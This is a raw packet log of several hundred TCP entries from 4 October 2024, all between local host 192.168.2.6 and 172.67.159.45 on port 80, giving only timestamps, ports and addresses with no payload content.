Oct 4, 2024 04:28:04.589247942 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.589263916 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.589466095 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.589502096 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.589512110 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.589514017 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.589540005 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.589559078 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.589596987 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.589608908 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.589617014 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.589648008 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.589679003 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.589723110 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.589731932 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.589740992 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.589814901 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.589850903 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.589874983 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.589885950 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.589895964 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.589920044 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.589939117 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.590018034 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.590027094 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.590037107 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.590066910 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.590092897 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.591578007 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.591662884 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.591672897 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.591681957 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.591698885 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.591708899 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.591721058 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.591757059 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.591785908 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.591809034 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.591819048 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.591856956 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.670643091 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.670680046 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.670732021 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.670748949 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.670767069 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.670775890 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.670778990 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.670803070 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.670814991 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.670846939 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.670859098 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.670867920 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.670902967 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.670972109 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.671008110 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.671019077 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.671019077 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.671029091 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.671041965 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.671045065 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.671047926 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.671058893 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.671068907 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.671070099 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.671108961 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.679085016 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.679094076 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.679102898 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.679112911 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.679127932 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.679136992 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.679138899 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.679148912 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.679163933 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.679184914 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.679685116 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.679724932 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.679735899 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.679738045 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.679774046 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.679797888 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.679806948 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.679816008 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.679826021 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.679841995 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.679876089 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.679892063 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.679902077 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.679912090 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.679922104 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.679934978 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.679985046 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.679987907 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.679996014 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680006027 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680027008 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.680052042 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680063009 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.680063009 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680073023 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680099010 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.680120945 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.680133104 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680141926 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680151939 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680160999 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680181026 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.680211067 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680222034 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.680250883 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.680274963 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680284023 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680294037 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680318117 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.680351973 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680355072 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.680361986 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680371046 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680402994 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.680428028 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680432081 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.680438042 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680448055 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680478096 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.680500031 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680506945 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.680509090 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680517912 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680527925 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680546999 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.680563927 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680567026 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.680574894 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680613995 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.680628061 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680638075 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680646896 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680656910 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680676937 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.680700064 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.680708885 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680718899 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680727959 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680737019 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680747032 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680757046 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.680778980 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.680792093 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.680814028 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680824041 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680834055 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680843115 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680866003 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.680886030 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680896997 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.680901051 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.680955887 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.681154966 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.681190014 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.681199074 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.681207895 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.681236982 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.681252956 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.681255102 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.681266069 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.681276083 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.681302071 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.681327105 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.681328058 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.681338072 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.681371927 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.681371927 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.681380987 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.681390047 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.681413889 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.681448936 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.681473970 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.681483030 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.681492090 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.681504965 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.681514025 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.681530952 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.681560993 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.681597948 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.681608915 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.681617022 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.681627035 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.681634903 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.681647062 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.681668997 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.681689024 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.681941032 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.682007074 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.682014942 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.682023048 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.682033062 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.682044029 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.682053089 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.682055950 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.682063103 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.682094097 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.682118893 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.682240009 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.682250023 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.682259083 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.682290077 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.682315111 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.682338953 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.682348967 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.682357073 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.682367086 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.682394981 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.682425976 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.684062004 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.684071064 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.684081078 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.684118032 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.684118986 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.684129000 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.684142113 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.684153080 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.684163094 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.684166908 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.684199095 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.763088942 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.763113022 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.763122082 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.763134003 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.763178110 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.763189077 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.763185024 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.763222933 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.763222933 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.763228893 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.763240099 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.763269901 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.763297081 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.763320923 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.763333082 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.763343096 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.763371944 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.763403893 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.763415098 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.763418913 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.763425112 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.763474941 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.763487101 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.763514042 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.771514893 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.771541119 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.771553040 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.771564007 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.771575928 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.771586895 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.771599054 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.771610975 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.771610975 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.771656990 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.772113085 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.772156954 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.772166967 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.772167921 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.772197962 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.772222996 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.772239923 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.772252083 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.772258043 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.772267103 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.772273064 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.772283077 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.772294998 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.772305012 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.772340059 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.772351980 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.772362947 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.772373915 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.772403002 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.772423983 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.772938967 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.772950888 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.772994995 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.773035049 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773046970 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773056984 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773067951 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773077965 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773087978 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773089886 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.773098946 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773111105 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773113012 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.773137093 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.773148060 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.773161888 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773171902 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773190975 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773201942 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773211002 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.773212910 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773226023 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773236036 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773236990 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.773252010 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773256063 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.773283005 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.773291111 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773307085 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.773307085 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773317099 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773327112 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773338079 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773348093 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773350954 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.773358107 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773367882 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773377895 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.773380995 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773390055 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773405075 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773415089 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773425102 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773435116 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.773436069 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773446083 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773457050 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773466110 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.773466110 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773477077 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773488045 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773488045 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.773498058 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773509026 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.773516893 CEST	49740	80	192.168.2.6	172.67.159.45
